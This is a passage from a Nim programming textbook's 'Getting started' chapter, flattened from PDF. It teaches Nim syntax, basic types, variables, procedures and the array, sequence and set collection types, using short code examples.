C’s speed and portability.  Nim supports multiple programming paradigms, including OOP, procedural programming, and functional programming. Licensed to <null> 22 Getting started In this chapter, you’ll learn about Nim’s syntax, procedures, for loops, and other basic aspects of the language. Throughout this chapter, we’ll cover a lot of informa- tion to give you a broad taste of the language. Before you begin, make sure you have Nim installed and that it works on your computer. You’ll also need a text editor to edit Nim code. Take a look at appendix B for instructions on how to install Nim and other related tools. 2.1 Nim syntax The syntax of a programming language is a set of rules that govern the way pro- grams are written in that language. You’ve already had a small taste of Nim’s syntax in the previous chapter. This chapter covers  Understanding Nim basics  Mastering control flow  Using collection types  Handling exceptions  Defining data types Licensed to <null> 23 Nim syntax Most languages share many similarities in terms of syntax. This is especially true for the C family of languages, which happens to also be the most popular—so much so that four of the most popular programming languages are syntactically heavily inspired by C.1 Nim aims to be highly readable, so it often uses keywords instead of punctuation. Because of this, the syntax of Nim differs significantly from the C lan- guage family; instead, much of it is inspired by Python and Pascal. In this section, I’ll teach you the basics of Nim’s syntax. Learning the syntax is a very important first step, as it teaches you the specific ways in which Nim code should be written. 2.1.1 Keywords Most programming languages have the notion of a keyword, and Nim is no exception. A keyword is a word with a special meaning associated with it when it’s used in a specific context. Because of this, you may not use keywords as identifiers in your source code. STROPPING You can get around this limitation by using stropping. See section 1.2 to learn more. As of version 0.12.0, Nim has 70 keywords. This may sound like a lot, but you must remember that you won’t be using most of them. Some of them don’t yet have a meaning and are reserved for future versions of the language; others have minor use cases. The most commonly used keywords allow you to do the following:  Specify conditional branches: if, case, of, and when  Define variables, procedures, and types: var, let, proc, type, and object  Handle runtime errors in your code: try, except, and finally You’ll learn exactly what these keywords mean and how to use them in the next sec- tions of this chapter. For a full list of keywords, consult the Nim manual, available at http://nim-lang.org/docs/manual.html#lexical-analysis-identifiers-keywords. 2.1.2 Indentation Many programmers indent their code to make the program’s structure more apparent. In most programming languages, this isn’t a requirement and serves only as an aid to human readers of the code. In those languages, keywords and punctuation are often used to delimit code blocks. In Nim, just like in Python, the indentation itself is used. Let’s look at a simple example to demonstrate the difference. The following three code samples written in C, Ruby, and Nim all do the same thing. But note the differ- ent ways in which code blocks are delimited. 1 According to the TIOBE Index for December 2016, www.tiobe.com/index.php/content/paperinfo/ tpci/index.html. Licensed to <null> 24 CHAPTER 2 Getting started if (42 >= 0) { printf("42 is greater than 0"); } if 42 >= 0 puts "42 is greater than 0" end if 42 >= 0: echo "42 is greater than 0" As you can see, C uses curly brackets to delimit a block of code, Ruby uses the keyword end, and Nim uses indentation. Nim also uses the colon character on the line that pre- cedes the start of the indentation. This is required for the if statement and for many others. But as you continue learning about Nim, you’ll see that the colon isn’t required for all statements that start an indented code block. Note also the use of the semicolon in listing 2.1. This is required at the end of each line in some programming languages (mostly the C family). It tells the compiler where a line of code ends. This means that a single statement can span multiple lines, or multiple statements can be on the same line. In C, you’d achieve both like this: printf("The output is: %d", 0); printf("Hello"); printf("World"); In Nim, the semicolon is optional and can be used to write two statements on a single line. Spanning a single statement over multiple lines is a bit more complex—you can only split up a statement after punctuation, and the next line must be indented. Here’s an example: echo("Output: ", 5) echo(5 + 5) echo(5 + 5) echo(5 + 5) Because indentation is important in Nim, you need to be consistent in its style. The convention states that all Nim code should be indented by two spaces. The Nim com- piler currently disallows tabs because the inevitable mixing of spaces and tabs can have detrimental effects, especially in a whitespace-significant programming language. Listing 2.1 C Listing 2.2 Ruby Listing 2.3 Nim Both of these statements are correct because they’ve been split after the punctuation and the next line has been indented. This statement has been incorrectly split before the punctuation. This statement has not been correctly indented after the split. Licensed to <null> 25 Nim basics 2.1.3 Comments Comments in code are important because they allow you to add additional meaning to pieces of code. Comments in Nim are written using the hash character (#). Any- thing following it will be a comment until the start of a new line. A multiline comment can be created with #[ and ]#, and code can also be disabled by using when false:. Here’s an example: # Single-line comment #[ Multiline comment ]# when false: echo("Commented-out code") The first of the two types of multiline comment can be used to comment out both text and code, whereas the latter should only be used to comment out code. The compiler will still parse the code and ensure that it’s syntactically valid, but it won’t be included in the resulting program. This is because the compiler checks when statements at com- pile time. 2.2 Nim basics Now that you have a basic understanding of Nim’s syntax, you have a good foundation for learning some of the semantics of Nim. In this section, you’ll learn some of the essentials that every Nim programmer uses on a daily basis. You’ll learn about the most commonly used static types, the details of mutable and immutable variables, and how to separate commonly used code into standalone units by defining procedures. 2.2.1 Basic types Nim is a statically typed programming language. This means that each identifier in Nim has a type associated with it at compile time. When you compile your Nim pro- gram, the compiler ensures that your code is type safe. If it isn’t, compilation termi- nates and the compiler outputs an error. This is in contrast to dynamically typed programming languages, such as Ruby, that will only ensure that your code is type safe at runtime. By convention, type names start with an uppercase letter. Built-in types don’t follow this convention, so it’s easy for you to distinguish between built-in types and user- defined types by checking the first letter of the name. Nim supports many built-in types, including ones for dealing with the C foreign function interface (FFI). I don’t cover all of them here, but they will be covered later in this book. FOREIGN FUNCTION INTERFACE The foreign function interface (FFI) is what allows you to use libraries written in other programming languages. Nim includes types that are native to C and C++, allowing libraries written in those languages to be used. Licensed to <null> 26 CHAPTER 2 Getting started Most of the built-in types are defined in the system module, which is imported auto- matically into your source code. When referring to these types in your code, you can qualify them with the module name (for example, system.int), but doing so isn’t necessary. See table 2.1 for a list of the basic types defined in the system module. MODULES Modules are imported using the import keyword. You’ll learn more about modules later in this book. INTEGER The integer type represents numerical data without a fractional component; that is, whole numbers. The amount of data this type can store is finite, so there are multiple versions of it in Nim, each suited to different size requirements. The main integer type in Nim is int. It’s the integer type you should be using most in your Nim pro- grams. See table 2.2 for a list of integer types. Table 2.1 Basic types Type Description and uses int The integer type is the type used for whole numbers; for example, 52. float The float is the type used for numbers with a decimal point; for example, 2.5. string The string type is used to store multiple characters. String literals are created by placing multiple characters inside double quotes: "Nim is awesome". bool The Boolean type stores one of two values, either true or false. char The character type stores a single ASCII character. Character literals are created by placing a character inside single quotes; for example, 'A'. Table 2.2 Integer types Type Size Range Description int Architecture-dependent. 32-bit on 32-bit systems, 64-bit on 64-bit systems. 32-bit: -2,147,483,648 to 2,147,483,647 64-bit: -9,223,372,036,854, 775,808 to 9,223,372,036, 854,775,807 Generic signed two’s com- plement integer. Generally, you should be using this integer type in most programs. int8 int16 int32 int64 8-bit 16-bit 32-bit 64-bit -128 to 127 -32,768 to 32,767 -2,147,483,648 to 2,147,483,647 -9,223,372,036,854,775,808 to 9,223,372,036,854,775,807 Signed two’s complement integer. These types can be used if you want to be explicit about the size requirements of your data. uint Architecture-dependent. 32-bit on 32-bit systems, 64-bit on 64-bit systems. 32-bit: 0 to 4,294,967,295 64-bit: 0 to 18,446,744, 073,709,551,615 Generic unsigned integer. Licensed to <null> 27 Nim basics An integer literal in Nim can be represented using decimal, octal, hexadecimal, or binary notation. let decimal = 42 let hex = 0x42 let octal = 0o42 let binary = 0b101010 Listing 2.4 defines four integer variables and assigns a different integer literal to each of them, using the four different integer-literal formats. You’ll note that the type isn’t specified for any of the defined variables. The Nim compiler will infer the correct type based on the integer literal that’s specified. In this case, all variables will have the type int. The compiler determines which integer type to use by looking at the size of the integer literal. The type is int64 if the integer literal exceeds the 32-bit range; other- wise, it’s int. But what if you want to use a specific integer type for your variable? There are multiple ways to accomplish this: let a: int16 = 42 let b = 42'i8 INTEGER SIZE Explicitly using a small integer type such as int8 may result in a compile-time or, in some cases, a runtime error. Take a look at the ranges in table 2.2 to see what size of integer can fit into which integer type. You should be careful not to attempt to assign an integer that’s bigger or smaller than the type can hold. Nim supports type suffixes for all integer types, both signed and unsigned. The format is 'iX, where X is the size of the signed integer, and 'uX, where X is the size of the unsigned integer.2 uint8 uint16 uint32 uint64 8-bit 16-bit 32-bit 64-bit 0 to 2550 0 to 65,5350 0 to 4,294,967,2950 0 to 18,446,744,073,709,551,615 Unsigned integer. These types can be used if you want to be explicit about the size requirements of your data. Listing 2.4 Integer literals 2 See the Nim manual for more on numerical constants: http://nim-lang.org/docs/manual.html#lexical- analysis-numerical-constants. Table 2.2 Integer types (continued) Type Size Range Description int16 Uses a type suffix to specify the type of the integer literal Licensed to <null> 28 CHAPTER 2 Getting started FLOATING-POINT The floating-point type represents an approximation of numerical data with a frac- tional component. The main floating-point type in Nim is float, and its size depends on the platform. let a = 1'f32 let b = 1.0e19 The compiler will implicitly use the float type for floating-point literals. You can specify the type of the literal using a type suffix. There are two type suf- fixes for floats that correspond to the available floating-point types: 'f32 for float32 and 'f64 for float64. Exponents can also be specified after the number. Variable b in the preceding list- ing will be equal to 1x1019 (1 times 10 to the power of 19). BOOLEAN The Boolean type represents one of two values: usually a true or false value. In Nim, the Boolean type is called bool. let a = false let b = true The false and true values of a Boolean must begin with a lowercase letter. CHARACTER The character type represents a single character. In Nim, the character type is called char. It can’t represent UTF-8 characters but instead encodes ASCII characters. Because of this, char is really just a number. A character literal in Nim is a single character enclosed in quotes. The character may also be an escape sequence introduced by a backward slash (\). Some common character-escape sequences are listed in table 2.3. let a = 'A' let b = '\109' let c = '\x79' UNICODE The unicode module contains a Rune type that can hold any uni- code character. NEWLINE ESCAPE SEQUENCE The newline escape sequence \n isn’t allowed in a character literal as it may be composed of multiple characters on some plat- forms. On Windows, it’s \r\l (carriage return followed by line feed),whereas on Linux it’s just \l (line feed). Specify the character you want explicitly, such as '\r' to get a carriage return, or use a string. Listing 2.5 Float literals Listing 2.6 Boolean literals Listing 2.7 Character literals Licensed to <null> 29 Nim basics STRING The string type represents a sequence of characters. In Nim, the string type is called string. It’s a list of characters terminated by '\0'. The string type also stores its length. A string in Nim can store UTF-8 text, but the unicode module should be used for processing it, such as when you want to change the case of UTF-8 characters in a string. There are multiple ways to define string literals, such as this: let text = "The book title is \"Nim in Action\"" When defining string literals this way, certain characters must be escaped in them. For instance, the double-quote character (") should be escaped as \" and the backward- slash character (\) as \\. String literals support the same character-escape sequences that character literals support; see table 2.3 for a good list of the common ones. One major additional escape sequence that string literals support is \n, which produces a newline; the actual characters that are produced depend on the platform. The need to escape some characters makes some things tedious to write. One example is Windows file paths: let filepath = "C:\\Program Files\\Nim" Nim supports raw string literals that don’t require escape sequences. Apart from the double-quote character ("), which still needs to be escaped as "", any character placed in a raw string literal will be stored verbatim in the string. A raw string literal is a string literal preceded by an r: let filepath = r"C:\Program Files\Nim" It’s also possible to specify multiline strings using triple-quoted string literals: let multiLine = """foo bar baz """ echo multiLine Escape sequence Result \r, \c Carriage return \l Line feed \t Tab \\ Backslash \' Apostrophe \" Quotation mark Table 2.3 Common character-escape sequences Licensed to <null> 30 CHAPTER 2 Getting started The output for the preceding code looks like this: foo bar baz Triple-quoted string literals are enclosed between three double-quote characters, and these string literals may contain any characters, including the double-quote character, without any escape sequences. The only exception is that your string literal may not repeat the double-quote character three times. There’s no way to include three double- quote characters in a triple-quoted string literal. The indentation added to the string literal defining the multiLine variable causes leading whitespace to appear at the start of each line. This can be easily fixed by the use of the unindent procedure. It lives in the strutils module, so you must first import it: import strutils let multiLine = """foo bar baz """ echo multiLine.unindent This will produce the following output: foo bar baz 2.2.2 Defining variables and other storage Storage in Nim is defined using three different keywords. In addition to the let key- word, which you saw in the previous section, you can also define storage using const and var. let number = 10 By using the let keyword, you’ll be creating what’s known as an immutable variable—a variable that can only be assigned to once. In this case, a new immutable variable named number is created, and the identifier number is bound to the value 10. If you attempt to assign a different value to this variable, your program won’t compile, as in the following numbers.nim example: let number = 10 number = 4000 The preceding code will produce the following output when compiled: numbers.nim(2, 1) Error: 'number' cannot be assigned to Licensed to <null> 31 Nim basics Nim also supports mutable variables using the keyword var. Use these if you intend on changing the value of a variable. The previous example can be fixed by replacing the let keyword with the var keyword: var number = 10 number = 4000 In both examples, the compiler will infer the type of the number variable based on the value assigned to it. In this case, number will be an int. You can specify the type explic- itly by writing the type after the variable name and separating it with a colon character (:). By doing this, you can omit the assignment, which is useful when you don’t want to assign a value to the variable when defining it. var number: int IMMUTABLE VARIABLES Immutable variables must be assigned a value when they’re defined because their values can’t change. This includes both const and let defined storage. A variable’s initial value will always be binary zero. This will manifest in different ways, depending on the type. For example, by default, integers will be 0 and strings will be nil. nil is a special value that signifies the lack of a value for any reference type. You’ll learn more about this later. The type of a variable can’t change. For example, assigning a string to an int vari- able will result in a compile-time error, as in this typeMismatch.nim example: var number = 10 number = "error" Here’s the error output: typeMismatch.nim(2, 10) Error: type mismatch: got (string) but expected 'int' Nim also supports constants. Because the value of a constant is also immutable, con- stants are similar to immutable variables defined using let. But a Nim constant differs in one important way: its value must be computable at compile time. proc fillString(): string = result = "" echo("Generating string") for i in 0 .. 4: result.add($i) const count = fillString() PROCEDURES Don’t worry about not understanding the details of procedures in Nim yet. You’ll be introduced to them shortly. Listing 2.8 Constant example This will be initialized to 0. The $ is a commonly used operator in Nim that converts its input to a string. Licensed to <null> 32 CHAPTER 2 Getting started The fillString procedure in listing 2.8 will generate a new string, equal to "01234". The constant count will then be assigned this string. I added the echo at the top of fillString’s body, in order to show you that it’s exe- cuted at compile time. Try compiling the example using Aporia or in a terminal by executing nim c file.nim. You’ll see "Generating string" amongst the output. Run- ning the binary will never display that message because the result of the fillString procedure is embedded in it. In order to generate the value of the constant, the fillString procedure must be executed at compile time by the Nim compiler. You have to be aware, though, that not all code can be executed at compile time. For example, if a compile-time procedure uses the FFI, you’ll find that the compiler will output an error similar to “Error: cannot 'importc' variable at compile time.” The main benefit of using constants is efficiency. The compiler can compute a value for you at compile time, saving time that would be otherwise spent during run- time. The obvious downside is longer compilation time, but it could also produce a larger executable size. As with many things, you must find the right balance for your use case. Nim gives you the tools, but you must use them responsibly.3 You can also specify multiple variable definitions under the same var, let, or const keyword. To do this, add a new line after the keyword and indent the identifier on the next line: var text = "hello" number: int = 10 isTrue = false The identifier of a variable is its name. It can contain any characters, as long as the name doesn’t begin with a number and doesn’t contain two consecutive underscores. This applies to all identifiers, including procedure and type names. Identifiers can even make use of Unicode characters: var 火 = "Fire" let ogien´ = true Unlike in many other programming languages, identifiers in Nim are case insensitive with the exception of the first letter of the identifier. This is to help distinguish vari- able names, which must begin with lowercase letters, from type names, which must begin with uppercase letters. Identifiers in Nim are also style insensitive. This allows identifiers written in camelCase to be equivalent to identifiers written in snake_case. The way this is accomplished is by ignoring the underscore character in identifiers, so fooBar is equivalent to foo_bar. You’re free to write identifiers in whichever style you prefer, 3 With great power comes great responsibility. Licensed to <null> 33 Nim basics even when they’re defined in a different style. But you’re encouraged to follow Nim’s style conventions, which specify that variables should use camelCase and types should use PascalCase. For more information about Nim’s conventions, take a look at the “Style Guide for Nim Code” on GitHub: https://github.com/nim-lang/Nim/wiki/ Style-Guide-for-Nim-Code. 2.2.3 Procedure definitions Procedures allow you to separate your program into different units of code. These units generally perform a single task, after being given some input data, usually in the form of one or more parameters. In this section, we’ll explore procedures in Nim. In other programming languages a procedure may be known as a function, method, or subroutine. Each programming lan- guage attaches different meanings to these terms, and Nim is no exception. A proce- dure in Nim can be defined using the proc keyword, followed by the procedure’s name, parameters, optional return type, =, and the procedure body. Figure 2.1 shows the syntax of a Nim procedure definition. Stropping As you may recall from section 2.1, there are identifiers in Nim that are reserved. Such identifiers are called keywords, and because they have a special meaning, they can’t be used as names for variables, types, or procedures. In order to get around this limitation, you can either pick a different name or explicitly mark the identifier using backticks (`). The latter approach is called stropping, and here’s how it can be used: var `var` = "Hello" echo(`var`) The var keyword is enclosed in backticks, allowing a variable with that name to be defined. proc keyword Procedure name Parameter Return type Procedure body Name Type Figure 2.1 The syntax of a Nim procedure definition Licensed to <null> 34 CHAPTER 2 Getting started The procedure in figure 2.1 is named myProc and it takes one parameter (name) of type string, and returns a value of type string. The procedure body implicitly returns a concatenation of the string literal "Hello " and the parameter name. You can call a procedure by writing the name of the procedure followed by paren- theses: myProc("Dominik"). Any parameters can be specified inside the parentheses. Calling the myProc procedure with a "Dominik" parameter, as in the preceding exam- ple, will cause the string "Hello Dominik" to be returned. Whenever procedures with a return value are called, their results must be used in some way. proc myProc(name: string): string = "Hello " & name myProc("Dominik") Compiling this example will result in an error: “file.nim(2, 7) Error: value of type 'string' has to be discarded.” This error occurs as a result of the value returned by the myProc procedure being implicitly discarded. In most cases, ignoring the result of a procedure is a bug in your code, because the result could describe an error that occurred or give you a piece of vital information. You’ll likely want to do something with the result, such as store it in a variable or pass it to another procedure via a call. In cases where you really don’t want to do anything with the result of a procedure, you can use the discard keyword to tell the compiler to be quiet: proc myProc(name: string): string = "Hello " & name discard myProc("Dominik") The discard keyword simply lets the compiler know that you’re happy to ignore the value that the procedure returns. When a procedure returns no values, the return type can be omitted. In that case, the procedure is said to return void. The following two examples return no value: Order of procedures Procedures must be defined above the call site. For example, the following code will fail to compile: myProc() proc myProc() = echo("Hello World") For procedures that have a circular dependency, a forward declaration must be used: proc bar(): int proc foo(): float = bar().float proc bar(): int = foo().int A future version of Nim will likely remove the need for forward declarations and allow procedures to be defined in any order. A forward declaration contains no procedure body, just the procedure’s name, parameters, and return type. Licensed to <null> 35 Nim basics proc noReturn() = echo("Hello") proc noReturn2(): void = echo("Hello") It’s idiomatic to avoid writing the redundant void in procedure definitions. The spe- cial void type is useful in other contexts, such as generics, which you’ll learn about in chapter 9. Nim allows you to cut down on unnecessary syntax even further. If your procedure takes no parameters, you can omit the parentheses: proc noReturn = echo("Hello") RETURNING VALUES FROM PROCEDURES A procedure body can contain multiple statements, separated either by a semicolon or a newline character. In the case where the last expression of a procedure has a non- void value associated with it, that expression will be implicitly returned from that pro- cedure. You can always use the return keyword as the last statement of your proce- dure if you wish, but doing so is not idiomatic nor necessary. The return keyword is still necessary for early returns from a procedure. The following code block shows different examples of returning values from procedures: proc implicit: string = "I will be returned" proc discarded: string = discard "I will not be returned" proc explicit: string = return "I will be returned" proc resultVar: string = result = "I will be returned" proc resultVar2: string = result = "" result.add("I will be ") result.add("returned") proc resultVar3: string = result = "I am the result" "I will cause an error" assert implicit() == "I will be returned" assert discarded() == nil assert explicit() == "I will be returned" assert resultVar() == "I will be returned" assert resultVar2() == "I will be returned" # resultVar3 does not compile! ASSERT The code block showing examples of returning values from proce- dures uses assert to show the output that you should expect when calling each of the defined procedures. You’ll learn more about assert when it comes time to test your code in chapter 3. Licensed to <null> 36 CHAPTER 2 Getting started Just like a variable’s default value, a procedure’s return value will be binary zero by default. Nim supports a lot of different methods of setting the return value, and you’re free to combine them. Every procedure with a return type has a result variable declared inside its body implicitly. This result variable is mutable and is of the same type as the procedure’s return type. It can be used just like any other variable; the resultVar and resultVar2 procedures are two examples. You should make use of it whenever you can, instead of defining your own variable and returning it explicitly. The result variable comes with some restrictions when it’s combined with implicit returns. These restrictions prevent ambiguities. For example, in the resultVar3 pro- cedure, what do you think should be returned: the last expression, or the value that result was assigned? The compiler doesn’t choose for you; it simply shows an error so you can correct the ambiguity. So far, I’ve been explicitly specifying the return types of procedures. You may recall that this isn’t necessary for variable definition. It’s also possible to ask the compiler to infer the return type of your procedure for you. In order to do this, you need to use the auto type: proc message(recipient: string): auto = "Hello " & recipient assert message("Dom") == "Hello Dom" Although this is handy, you should specify the type explicitly whenever possible. Doing so makes it easier for you and others to determine the return type of a procedure, without needing to understand the procedure’s body. WARNING: TYPE INFERENCE Type inference for procedures is still a bit experi- mental in Nim. You may find that it’s limited in some circumstances, espe- cially if you’re used to more advanced forms of type inference, such as those found in Haskell or OCaml. PROCEDURE PARAMETERS A procedure with multiple parameters can be defined by listing the parameters and separating them with the comma character: proc max(a: int, b: int): int = if a > b: a else: b assert max(5, 10) == 10 You don’t need to repeat the types of parameters if they’re specified consecutively: proc max(a, b: int): int = if a > b: a else: b Default parameters can be used to ask for arguments that can be optionally specified at the call site. You can introduce default parameters by assigning a value to a parame- ter using the equals character; the type can also be omitted in that case: Licensed to <null> 37 Nim basics proc genHello(name: string, surname = "Doe"): string = "Hello " & name & " " & surname assert genHello("Peter") == "Hello Peter Doe" assert genHello("Peter", "Smith") == "Hello Peter Smith" A procedure taking a variable number of parameters can be specified using the varargs type: proc genHello(names: varargs[string]): string = result = "" for name in names: result.add("Hello " & name & "\n") assert genHello("John", "Bob") == "Hello John\nHello Bob\n" PROCEDURE OVERLOADING Overloading a procedure is a feature that you may not have come across yet, but it’s one that’s commonly used in Nim. Procedure overloading is the ability to define dif- ferent implementations of procedures with the same name. Each of these procedures shares the same name but accept different parameters. Depending on the arguments passed to the procedure, the appropriate implementation is picked by the compiler. As an example, consider a getUserCity procedure. It may take two parameters: firstName and lastName. proc getUserCity(firstName, lastName: string): string = case firstName of "Damien": return "Tokyo" of "Alex": return "New York" else: return "Unknown" CASE STATEMENTS Case statements might still be new to you. They’ll be explained later in section 2.4. This kind of procedure may be used to retrieve a person’s city of residence from a database, based on the name specified. You may also wish to offer alternative search criteria—something more unique, such as an ID number. To do this, you can overload the getUserCity procedure like so: proc getUserCity(userID: int): string = case userID of 1: return "Tokyo" of 2: return "New York" else: return "Unknown" In this case, the default value for the surname argument is used. In this case, the default value is overridden with the string literal "Smith". Initializes the result variable with a new string Iterates through each of the arguments. You’ll learn more about for loops in section 2.4. Adds the string "Hello" concatenated with the current argument and a newline character to the result variable Licensed to <null> 38 CHAPTER 2 Getting started This way, you can reuse the name, but you’re still able to use the different implemen- tations, as shown here: doAssert getUserCity("Damien", "Lundi") == "Tokyo" doAssert getUserCity(2) == "New York ANONYMOUS PROCEDURES Sometimes you may wish to pass procedures as parameters to other procedures. The following listing shows the definition of a new procedure, and how a reference to it can be passed to the filter procedure. import sequtils let numbers = @[1, 2, 3, 4, 5, 6] let odd = filter(numbers, proc (x: int): bool = x mod 2 != 0) assert odd == @[1, 3, 5] These procedures are called anonymous procedures because there’s no name associated with them. In listing 2.9, the anonymous procedure is highlighted in bold. THE @ SYMBOL The @ symbol creates a new sequence. You’ll learn more about it in the next section. The anonymous procedure gets a single parameter, x, of type int. This parameter is one of the items in the numbers sequence. The job of this anonymous procedure is to determine whether that item should be filtered out or whether it should remain. When the procedure returns true, the item isn’t filtered out. The filter procedure is the one doing the actual filtering. It takes two parame- ters: a sequence and an anonymous procedure. It then iterates through each item and uses the anonymous procedure it got to see whether it should filter the item out or keep it. The filter procedure then returns a new sequence that includes only the items that the anonymous procedure determined should be kept and not filtered out. In listing 2.9, the resulting sequence will only contain odd numbers. This is reflected in the anonymous procedure, which checks whether dividing each item by 2 results in a remainder. If a remainder is produced, true is returned because that means the number is odd. The syntax for anonymous procedures is a bit cumbersome. Thankfully, Nim sup- ports some syntactic sugar for defining anonymous procedures and procedure types. The syntactic sugar isn’t part of the language but is instead defined in the standard library, so to use it you must import the future module. (The syntactic sugar is defined using macros, which you’ll learn about in chapter 9.) Listing 2.9 Using anonymous procedures Definition of an immutable variable holding a list of numbers The filter procedure used to filter out even numbers Assertion to show the output Licensed to <null> 39 Collection types Compare the following code to listing 2.9, and note the differences shown in bold: import sequtils, future let numbers = @[1, 2, 3, 4, 5, 6] let odd = filter(numbers, (x: int) -> bool => x mod 2 != 0) assert odd == @[1, 3, 5] The syntactic sugar doesn’t actually make the definition that much shorter, but it does remove some of the noise. It can be shortened further using type inference: x => x mod 2 != 0. But keep in mind that this may not work in some cases. The compiler may not be able to infer the types for your anonymous procedure. In that case, you’ll need to explicitly state the types. The -> symbol is used to specify types. DOCUMENTATION The documentation for each module (available on Nim’s website: http://nim-lang.org/) contains links under each procedure defini- tion to the source code for that procedure. Take a look at it to learn more about the procedures mentioned in this book. The -> symbol can also be used on its own in place of procedure types. For example, you can use it when defining a procedure that takes another procedure as a parameter. For example, consider the following code: proc isValid(x: int, validator: proc (x: int): bool) = if validator(x): echo(x, " is valid") else: echo(x, " is NOT valid") It can be rewritten as follows: import future proc isValid(x: int, validator: (x: int) -> bool) = if validator(x): echo(x, " is valid") else: echo(x, " is NOT valid") The proc keyword can be omitted, and the : is replaced by the -> symbol. This ends the section on Nim basics. So far, this chapter has been very heavy with information, but don’t worry if you don’t remember everything that you’ve read or you don’t understand some concepts. The next chapter will put these ideas into prac- tice and solidify your knowledge. You can also go back over this section at any time. 2.3 Collection types Collections such as lists, arrays, sets, and more are incredibly useful. In this section, I’ll talk about the three most commonly used collection types in Nim: the array, seq, and set types. 2.3.1 Arrays The array type represents a list of a static number of items. This type is similar to C arrays but offers more memory safety, as demonstrated in the following example: Licensed to <null> 40 CHAPTER 2 Getting started var list: array[3, int] list[0] = 1 list[1] = 42 assert list[0] == 1 assert list[1] == 42 assert list[2] == 0 echo list.repr echo list[500] Arrays are value types, just like int, float, and many others, which means they’re allo- cated on the stack. This is similar to C arrays, but it differs completely from Java’s arrays, which are reference types and are stored on the heap. Arrays are static in size, so an array can’t change its size once it’s declared. This is why the compiler can give you an error when you try to access an index outside its bounds. In C, checks for index bounds aren’t made, so it’s possible to access memory that’s outside the bounds of the array. Nim performs these checks at compile time and at runtime. The runtime checks are performed as long as the --boundsChecks option is not turned off. WARNING: THE -D:RELEASE FLAG Compiling with the -d:release flag will turn the bounds checks off. This will result in higher performance but less safety. An array constructor can be used to assign a list of items to the array when it’s defined: var list = ["Hi", "There"] You can iterate over most collection types using a for loop. Iterating over a collection type will yield a single item from the collection during each iteration. If you prefer to iterate over each index rather than each item, you can access an array’s bounds using the low and high fields and then iterate from the lowest index to the highest: var list = ["My", "name", "is", "Dominik"] for item in list: echo(item) for i in list.low .. list.high: echo(list[i]) The array contains three elements. Any elements that have not been set are given a default value. This will output [1, 42, 0]. The repr procedure converts any variable into a string, but the resulting string sometimes contains debug information such as the memory address of the variable. Compilation will fail with “Error: index out of bounds.” Custom array ranges It’s possible to define arrays with a custom range. By default, arrays range from 0 to the number specified in the array type, but you can also specify the lower bound, as in this array of two integers: var list: array[-10 .. -9, int] list[-10] = 1 list[-9] = 2 This is useful when your array indices don’t start at 0. Loops through each item Loops through each index Licensed to <null> 41 Collection types 2.3.2 Sequences Arrays are static in size. You can’t add more items to them; you can only overwrite existing items with new data. This is where Nim’s sequences come in. They’re dynamic in size and can grow to as many items as needed (within the limits of your memory). You’ve already seen a few examples of sequences in the previous section. Sequences are defined using the seq type: var list: seq[int] = @[] list[0] = 1 list.add(1) assert list[0] == 1 echo list[42] Sequences are stored on the heap, and as such are garbage collected. This means that they need to be initialized before they’re used, just like strings. var list: seq[int] echo(list[0]) Accessing the items of an uninitialized sequence will result in a segmentation fault at runtime. Copy the preceding code into your favorite text editor and save it as segfault .nim. Then compile and run it. If you’re using Aporia, just press F5, or open a termi- nal and execute nim c -r segfault.nim. You should see that your program crashes with the following output: Traceback (most recent call last) segfault.nim(2) segfault SIGSEGV: Illegal storage access. (Attempt to read from nil?) As long as your program isn’t compiled in release mode, any crashes will display a traceback that shows the procedure calls leading up to your program’s crash. In this case, the 2 in the parentheses corre- sponds to line 2 in the source code, echo(list[0]). This hints that list is nil, and that it must be initialized. A sequence can be initialized in two ways: using the sequence constructor syn- tax (@[]), as in the previous example, and using the newSeq procedure. Each is more or less appropriate, depending on the use case. Assigns 1 to the first item in the sequence. This will result in an index-out-of-bounds exception at runtime because there are currently no items in the sequence. Appends 1 as an item to the list sequence Attempts to access an item that doesn’t exist. An index-out-of- bounds exception will be raised. The sequence constructor When using the sequence construc- tor syntax, you must be careful to specify the type of the sequence. var list = @[] This example won’t work because the compiler has no way of knowing what type of sequence you want to define. This isn’t a problem when you’re constructing a non-empty sequence: var list = @[4, 8, 15, 16, 23, 42]. In this case, the compiler knows that the sequence type is seq[int]. Licensed to <null> 42 CHAPTER 2 Getting started The newSeq procedure provides another way to construct a sequence. It also offers an important optimization—you should use it when you know the size of the sequence ahead of time. var list = newSeq[string](3) assert list[0] == nil list[0] = "Foo" list[1] = "Bar" list[2] = "Baz" list.add("Lorem") The size of the sequence that you specify in the call to newSeq will correspond to the number of items that the new sequence will contain. The items themselves won’t be initialized, and you can still add more items to the sequence if you wish. Iterating over a sequence is done in the same way as iterating over an array. But although sequences do have low and high fields, it’s more idiomatic to use the len field, which gives you the length of the sequence. The reason for this is that the low field for sequences is always 0. let list = @[4, 8, 15, 16, 23, 42] for i in 0 .. <list.len: stdout.write($list[i] & " ") This outputs the following: 4 8 15 16 23 42 The range of iteration is inclusive, so you must subtract 1 from the length of the sequence in order to iterate fewer times. This is achieved by prefixing the length of the sequence with the < operator. You can also simply subtract 1, but using the < operator is more idiomatic. You’ve already seen an example of manipulating sequences using the filter pro- cedure. You can find more procedures that manipulate sequences in the system and sequtils modules. 2.3.3 Sets The third collection type that I’ll show you is the set type, which stores a collection of distinct values. A set[int16], for example, stores a distinct collection of integers. But because of the nature of sets, only unique numbers can be stored. A Nim set’s base type must be an ordinal type, which is a type with values that can be counted. The char type is ordinal because there’s a clear order for its values: A is followed by B, B is followed by C, and so on. A string isn’t an ordinal type because there’s no clear order for a string’s values. This restriction only applies to the built-in set type. There’s another set type in the sets module called HashSet that supports any type as its base type. But the built-in set type is more efficient and thus should be used whenever possible. The items will exist but will not be initialized. You can assign new values to them easily. The seq can still grow in size; new items can be added. Licensed to <null> 43 Control flow The set type is a value type and so doesn’t need to be initialized. var collection: set[int16] assert collection == {} A set is constructed using {}. A list of values is specified inside the curly brackets, and items are separated by commas. A set pays no attention to the order of the items that it stores, so you can’t access items in it via an index. Sets are useful for cases where you want to check for the pres- ence of a certain value in a collection—this is where the in keyword comes in. let collection = {'a', 'x', 'r'} assert 'a' in collection Although they’re simple, sets can be used to perform some interesting checks. let collection = {'a', 'T', 'z'} let isAllLowerCase = {'A' .. 'Z'} * collection == {} assert(not isAllLowerCase) One of the operations that can be performed on sets is the intersection of two sets using the * operator. This returns a new set containing the values that the intersected sets have in common. The preceding example uses this to check whether the collection set contains any uppercase letters. A set constructor can contain ranges of items too: the range 'A' .. 'Z' is deduced by the compiler to contain all the uppercase letters. Sets are often used in the standard library to represent a collection of unique flags. In other languages such as C, flags may be represented by an integer, which is inter- preted as a sequence of Boolean bits. Compared to sets, this approach is very 